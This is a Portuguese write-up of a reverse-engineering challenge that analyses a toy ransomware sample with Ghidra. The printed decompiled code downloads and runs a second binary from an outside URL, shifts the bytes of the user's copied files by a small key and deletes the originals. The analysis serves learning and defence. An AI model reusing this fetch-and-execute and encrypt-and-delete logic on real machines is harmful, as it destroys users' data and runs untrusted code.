PROCESSO SELETIVO GRIS 2020.1
TAG Engenharia Reversa - Leonardo Ventura

Nome: Yuri Medeiros da Silva

---

1. Análise do binário *tag*

Para começar a análise do binário *TAG* primeiro rodei o comando *strings* nele pra saber se tinha alguma informação útil.

Com isso, pude ter uma ideia por cima do que o programa fazia, que ele encripta os arquivos e que baixava outra binario do link http://ix.io/2c6v.

Entretanto, apenas isso não era suficiente para entender como tudo isso era feito. Então, utilizei o ghidra, com sua função de decompiler, para entender melhor o que estava acontecendo.

```
1
2  undefined8 main(void)
3
4  {
5    uint uVar1;
6
7    puts("Olá!");
8    system("mkdir -p $USER && cp ~/* $USER 2> /dev/null");
9    puts("Codificando os arquivos da sua home...");
10   puts("Procure por uma forma de descodificá-los");
11   puts("OBS: Não desligue sua máquina, se não não será mais possível recuperar os dados!!!");
12   sleep(1);
13   encripta_arquivos();
14   printa_ascii_art();
15   uVar1 = _system_integrity_check();
16   _system_loader_callback("http://ix.io/2c6V",(ulong)uVar1);
17   puts(
18       "brincadeira, fiz uma cópia da sua home no diretório atual e encriptei seus arquivos lá, rs"
19       );
20   return 0;
21 }
22
```

Logo na imagem acima vemos basicamente o que o comando *strings* retornou, e vemos algumas funções que ele chama a mais :

- ***encripta_arquivos()***
- ***system_integrity_check()***
- ***_system_loader_callback()***

```
encripta_arquivos();
printa_ascii_art();
uVar1 = _system_integrity_check();
_system_loader_callback("http://ix.io/2c6V",(ulong)uVar1);
```

Começando a analisar a ***encripta_arquivos***, vemos que essa função apenas gera o seed do rand com base no time (tempo em segundos desde 1/1/1970) e depois gera um número randômico com base na semente.

```
void encripta_arquivos(void)

{
  time_t tVar1;

  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  rand();
  return;
}
```

Indo para o ***system_integrity_check()*** vemos que ele gera um número randômico, faz o módulo dele por 5 e soma 1, e guarda o resultado no arquivo /tmp/key

Decompile: _system_integrity_check - (tag)

```
1
2  ulong _system_integrity_check(void)
3
4  {
5    uint uVar1;
6    int iVar2;
7    FILE *__stream;
8
9    iVar2 = rand();
10   uVar1 = iVar2 % 5 + 1;
11   __stream = fopen("/tmp/key","w+");
12   fprintf(__stream,"%d\n",(ulong)uVar1);
13   fclose(__stream);
14   return (ulong)uVar1;
15 }
16
```

```
❯ cat /tmp/key
2
```

A última função do binário tag, ***_system_loader_callback(),*** ele baixa um arquivo do link já falado antes, salva ele como encriptador, e roda ele na pasta.
O ***download_file_from_url()*** é apenas um curl no link

```
void _system_loader_callback(undefined8 param_1,uint param_2)

{
  long in_FS_OFFSET;
  char local_98 [136];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  download_file_from_url(param_1,".encriptador",".encriptador");
  sprintf(local_98,"%s %d\n","chmod u+x .encriptador && ./.encriptador",(ulong)param_2);
  system(local_98);
  sleep(2);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

A próxima parte agora é analisar o outro binário que foi baixado.

(próxima página)

2. *Análise do binário 2c6V*

Esse binário foi um pouco mais complicado de analisar, contudo comentei a parte importante do código (está no arquivo *codigocomentado.c*).

```
local_10 = *(long *)(in_FS_OFFSET + 0x28);          // canario
__name = getenv("USER");
if (param_1 < 2) {                                  // forma como deve ser chamado
  printf("usage: ./%s <argument>",*param_2);
  uVar3 = 1;
}
else {
  iVar1 = atoi((char *)param_2[1]);   //tmp/key
  __dirp = opendir(__name);
     // enquanto tiver proximo diretorio, arquivo no caso
    while (pdVar5 = readdir(__dirp), pdVar5 != (dirent *)0x0) {
      iVar2 = strcmp(pdVar5->d_name,".");
      // readdir retorna primeiro . e  .. . strcmp = 0 se forem iguais, ou seja,
      // só entra no if se nao for . e  ..
      if ((iVar2 != 0) && (iVar2 = strcmp(pdVar5->d_name,".."), iVar2 != 0)) {
        sprintf(local_418,"%s/%s",__name,pdVar5->d_name);
      //   local_418  == pasta/file
        __stream = fopen(local_418,"rw");

        // adiciona .leo antes
        sprintf(local_218,"%s.leo",local_418);
        __stream_00 = fopen(local_218,"w");
      //
        while( true ) {
          iVar2 = fgetc(__stream);
          if ((char)iVar2 == -1) break; // eof
          int fputc(int char, FILE *pointer)
          // ivar1 /tmp/key
          // int fputc(int char, FILE *pointer)
          fputc((char)iVar2 + iVar1,__stream_00);
        }
        fclose(__stream_00);
        fclose(__stream);
      }
    }
    system("find $USER -type f ! -name \'*.leo\' -delete");
    uVar3 = 0;
  }
```

O que esse arquivo faz, basicamente é, ele entra na pasta e muda a extensão de cada arquivo para .leo, depois disso ele soma a cada caractere a chave que está salva em /tpm/key (essa parte é feita dentro do *while(true)*).